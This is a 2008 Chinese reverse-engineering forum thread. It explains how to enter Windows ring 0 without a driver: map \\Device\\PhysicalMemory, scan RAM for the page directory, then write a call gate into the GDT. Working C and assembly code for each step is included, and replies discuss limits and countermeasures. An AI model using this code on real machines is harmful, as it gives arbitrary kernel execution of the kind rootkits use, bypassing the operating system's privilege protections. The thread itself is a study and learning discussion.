首页
论坛
课程
招聘
[原创]RING 3 无驱动进入RING 0
2008-6-2 18:52 13719

[原创]RING 3 无驱动进入RING 0

2008-6-2 18:52
13719
可能这些已经没有什么,但对俺菜鸟来说学习一下应该还可以的。

MY BLOG:http://hi.baidu.com/hljleo
MY QQ:554920269

下面就是RING 3 无驱动怎么进入RING 0的知识要点

1 通过工作区\\Device\\PhysicalMemory操作内存,用到的函数流程NtOpenSection(),NtMapViewOfSection()。所以
依靠这种方法我们可以进入RAM的任何地址。
然而在使用这个工作区之前必须保证我们有权限使用它,可以通过一些函数来获得管理员权限:GetSecurityInfo(),SetEntriesInAcl(),SetSecurityInfo()。

2 在进入RING 0之前我们还必须知道目标虚拟地址映射后的物理地址的准确位置,所以我们必须找到进程的页目录。这里涉及到虚拟地址到物理地址的映射,简单解释一下:

A  CPU从当前运行进程的CR3寄存器中得到页目录。在这个目录中,虚拟地址的高10位让CPU找到页表的地址。
B  当找到了页表之后,在这张表中,CPU根据相应的虚拟地址进入下一步定位页。
C  当定位好了页之后,CPU使用虚拟地址的低12位作为页的偏移量。

所以如果我们知道了页目录的位置,我们也就知道了虚拟地址映射后的物理位置。页目录地址存在CR3寄存器中,我们是没有权限在user-mode直接获得的。
以下就是如何获得页目录的一些知识:

现在是认为知道我们进程的页目录在物理RAM中的地址,假使我们目标虚拟地址是V,映射页目录到虚拟地址D,把D认为是1024个DWORD。因此D中的(V>>22)项的高20位是物理页,一张页表,对应的虚拟地址V。现在映射这张页表到虚拟地址T,把T想象成一个1024 DWORD的数组,T中第 ((V>>12)&0x3FF) 项的高20位是虚拟地址V所代表的一个物理页,也就是我们目标虚拟地址映射后的物理地址。

在X86,进程的页目录是从虚拟地址0XC0300000开始,内存管理器从0XC0000000开始映射页表的。

问题的关键在于我们不知道进程页目录的物理地址,为找到页目录,必须做如下工作:
将RAM中的每一页都映射到我们进程的地址空间中,扫描一下内存,总之我们应该会找到页目录的。

假设我们检查的物理页是P,并且P被映射进入虚拟地址V中,我们把V想象成一个1024 DWORD的数组。如果P是我们进程中含有页目录的一个物理页的话,有如下结论:

A.V的第0x300项的高20位肯定等于P。
B.V中第0x300项的最低位肯定被设置了,因为它表明了此页存在于RAM中。
C.如果P是一个页目录,那么V中的第(V>>22)项表示是一个页表--对应于虚拟地址V它的本身。同时这个页表毫无疑问的被装载进入RAM中。因此,V中第(V>>22)项的最低位肯定被设置了。
如果找不到就换下一页。

3 知道了页目录的物理地址,我们就可以找到我们所感兴趣的虚拟地址到物理地址的映射,我们是得到GDT的物理地址

,有了GDT 的物理地址我们就可以无驱动进入内核了。因为我们可以通过GDT中的调用门来实现不同特权级的代码段之间进行控制访问,每一种门描述符中都有present位代表该描述符是否存在。它在每个描述符中的位置都是一样的,因此我们可以根据这个present位来在GDT中找出一个空白位置,在这个位置里面添加我们自己定义的描述符。

我们可以将描述符的selector 域设置为0X8(表明将会执行特权指令),同时它的offset_low和offse_high域分别对应

于我们即将要调用的函数的低16位和高16位。
至于要调用的函数实现的功能这就随个人不同的兴趣而定,比如说可以获得中断信息等等。
下面是主要程序代码的实现:

(1)寻找页目录:
 for(x=0;x<meminfo.dwTotalPhys;x+=0x1000)//经过修改后运行这些代码的进程,其虚拟地址的范围从0--0x1000将成

为进程地址空间中有效的虚拟地址范围
   
{
//映射当前页进入 RAM
MappedSize=4096; phys.QuadPart=x; DirectoryMappedAddress=0;
status = NtMapViewOfSection(Section, (HANDLE) -1, &DirectoryMappedAddress, 0L,MappedSize, &phys, 

&MappedSize, ViewShare,0, PAGE_READONLY);
if(status)continue;
entry=(DWORD*)DirectoryMappedAddress;

//得到偏移量
DirectoryOffset=(DWORD)DirectoryMappedAddress;
TableOffset=(DWORD)DirectoryMappedAddress;
DirectoryOffset>>=22;//第>>22项高20位是页表的物理地址
TableOffset=(TableOffset>>12)&0x3ff;//第>>12)&0x3FF项的高20位是虚拟地址的物理页的位置,虚拟地址中 第((V>>12)&0x3FF)项的低位必定被设置

//为了找到页目录,我们需要作出判断,即页目录的第 0x300项的高20位对应的是 我们要找页目录物理地址自身,如果是找到页目录的位置,如果不是进入下一页
// 当然该项的存在位必须被设置

if((entry[0x300]&0xfffff000)!=x ||(entry[0x300]&1)!=1 || (entry[DirectoryOffset]&1)!=1)
{NtUnmapViewOfSection((HANDLE) -1, DirectoryMappedAddress);continue;}

//映射页表
MappedSize=4096; 
phys.QuadPart=(entry[DirectoryOffset]&0xfffff000); 
TableMappedAddress=0;
status = NtMapViewOfSection(Section, (HANDLE) -1, &TableMappedAddress, 0L,MappedSize, &phys, 

&MappedSize, ViewShare,0, PAGE_READONLY);

if(status){NtUnmapViewOfSection((HANDLE) -1, DirectoryMappedAddress);continue;}

//如果找到页表---虚拟地址第(V>>12)&0x3ff页表项的高20位必须是页目录的地址
//当然存在位同样应该被设置,,现在找到真正页目录的位置

entry=(DWORD*)TableMappedAddress;
if((entry[TableOffset]&1)==1 && (entry[TableOffset]&0xfffff000)==x)found++;

NtUnmapViewOfSection((HANDLE) -1, TableMappedAddress);

//页目录已经找到,退出循环
if(found)break;
NtUnmapViewOfSection((HANDLE) -1, DirectoryMappedAddress);  
}

(2)知道了页目录的物理地址,我们就可以找到我们所感兴趣的虚拟地址到物理地址的映射,下面是得到GDT的物理地址,并设置自己的调用门,现在我们就可以无驱动进入内核了。

_asm
{
sgdt gdtr  //得到 gdtr 寄存器的内容保存于内存单元中,即得到 GDT 基地址与界限
lea eax,gdtr
mov ebx,dword ptr[eax+2]//高32位指出GDT在物理存取器中存放的基地址
mov gdtbase,ebx
}

DirectoryOffset=gdtbase;TableOffset=gdtbase;
DirectoryOffset>>=22;
TableOffset=(TableOffset>>12)&0x3ff;//保证GDT从一个页开始

entry=(DWORD*)DirectoryMappedAddress;

//映射页表- 第(V-22)页目录项的高20位是物理地址
MappedSize=4096;
 phys.QuadPart=(entry[DirectoryOffset]&0xfffff000); 
 TableMappedAddress=0;

status = NtMapViewOfSection(Section, (HANDLE) -1, &TableMappedAddress, 0L,MappedSize, &phys, 

&MappedSize, ViewShare,0, PAGE_READONLY);

//物理页是 第 (V>>12)&0x3ff页表项的高20位 - -这就是我们所想要的
entry=(DWORD*)TableMappedAddress;
physgdtbase=(entry[TableOffset]&0xfffff000);

NtUnmapViewOfSection((HANDLE) -1, TableMappedAddress);

NtUnmapViewOfSection((HANDLE) -1, DirectoryMappedAddress);

// 映射 gdt
phys.QuadPart=physgdtbase;MappedSize=4096;

NtMapViewOfSection(Section, (HANDLE) -1, (PVOID*)&GdtMappedAddress, L,MappedSize, &phys, &MappedSize, 

ViewShare,0, PAGE_READWRITE);
gdtbase&=0xfff;
GdtMappedAddress+=gdtbase;

  gate=(CallGateDescriptor * )GdtMappedAddress;

//在GDT中寻找空闲入口,即Present位为0的

selector=1;
while(1)
{
if(!gate[selector].present)break;
selector++;
}

// 设置 call gate
gate[selector].offset_low  = (WORD) ((DWORD)kernelfunction & 0xFFFF);//将会调用任意函数的地址,这里是

kernelfunction这个函数
gate[selector].selector     = 8;
gate[selector].param_count  = 1; //we will pass a parameter
gate[selector].unused    = 0;
gate[selector].type       = 0xc;     //0xc是 32-bit callgate 标志
      
gate[selector].dpl          = 3;      // 必须是 3
gate[selector].present      = 1;
gate[selector].offset_high = (WORD) ((DWORD)kernelfunction >> 16);
       

NtUnmapViewOfSection((HANDLE) -1, GdtMappedAddress);
CloseHandle(Section);
...........这里可以调用一些自己实现的函数。

很多细节的东西应该讲得不大好,希望大牛们能指出来,让俺菜鸟学习学习。

[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班

收藏
点赞0
打赏
分享
最新回复 (16)
雪    币: 234
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huyongzs 活跃值 2008-6-2 20:20
2
0
预备知识主要是windows程序设计还有保护模式汇编,还有操作系统原理中虚拟内存地址映射物理地址的原理相关内容。
保护模式汇编中主要是GDT的描述对理解这篇文章很有用。
我不是学windows编程的,所以这篇文章没有细看。我目前学的是linux。
本来作为x86区别ring0~3的物理基础是由CPU和内存中的描述符共同决定的。如果可以修改内存中描述符的表示ring 0~3一个内存空间内容,也就可以修改一个程序的执行级别。这个是有x86决定的。
这就是这篇文章内容的基本原理。
看不懂没关系,把我上边提及的计算机课程看一下就会明白差不多的。操作系统原理最好选用编程题多的外国经典大学的教材。
雪    币: 519
活跃值: 活跃值 (27)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
hljleo 活跃值 5 2008-6-2 20:31
3
0
这方面的知识点很杂,,有时候真的很烦
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-6-3 04:42
4
0
再再再次学习.
雪    币: 110
活跃值: 活跃值 (254)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-6-3 10:41
5
0
看过不少ring3无驱进入ring0的文章,不过你实现的还是很有特色的,自己查找页目录。
我看过的文章,都是把页目录根据操作系统的版本不同直接硬编码进来的。
不过,虽然自己查找页目录,但是你没有考虑PAE的情况。有时间的话,麻烦把附件附上。
雪    币: 519
活跃值: 活跃值 (27)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
hljleo 活跃值 5 2008-6-3 11:34
6
0
昨天弄的时候忘记上传源码了,,不好意思
上传的附件:
雪    币: 182
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
justlovemm 活跃值 2008-6-3 11:48
7
0
请教一下,32位的win2003 Server,打开了PAE以后,最多能支持多大的内存,64G还是32G?
雪    币: 519
活跃值: 活跃值 (27)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
hljleo 活跃值 5 2008-6-3 11:59
8
0
支持最大内存64G
雪    币: 21
活跃值: 活跃值 (317)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
靴子 活跃值 2008-6-3 12:38
9
0
哇....ctrl+c  ctrl+v 又发现一牛人 !!
雪    币: 21
活跃值: 活跃值 (317)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
靴子 活跃值 2008-6-3 13:30
10
0
我测试加不能执行成功
运行到这里程序就出错退出了
phys.QuadPart=(entry[DirectoryOffset]&0xfffff000);
雪    币: 519
活跃值: 活跃值 (27)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
hljleo 活跃值 5 2008-6-3 13:37
11
0
打SP1后可能就行了
雪    币: 221
活跃值: 活跃值 (53)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rock 活跃值 2008-6-3 17:35
12
0
老技术了,加了点物理地址转换。
VISTA就用不了了
雪    币: 304
活跃值: 活跃值 (46)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
HSQ 活跃值 8 2008-6-4 08:05
13
0
已经知道一些,先收藏再说,看看是否还有其他方法
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Bmahti 活跃值 2008-6-8 14:34
14
0
呵呵。hook 个 NtMapViewOfSection等
这个方法很容易被禁止
雪    币: 7588
活跃值: 活跃值 (1106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
RuShi 活跃值 2008-6-12 15:20
15
0
谢谢楼主的好文,学习了
雪    币: 235
活跃值: 活跃值 (10)
能力值: ( LV12,RANK:460 )
在线值:
发帖
回帖
粉丝
火影 活跃值 11 2008-6-16 01:57
16
0
为什么是页目录的第0x300项呢???
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hack杰 活跃值 2008-6-20 17:41
17
0
好  学习   顶了
游客
登录 | 注册 方可回帖
返回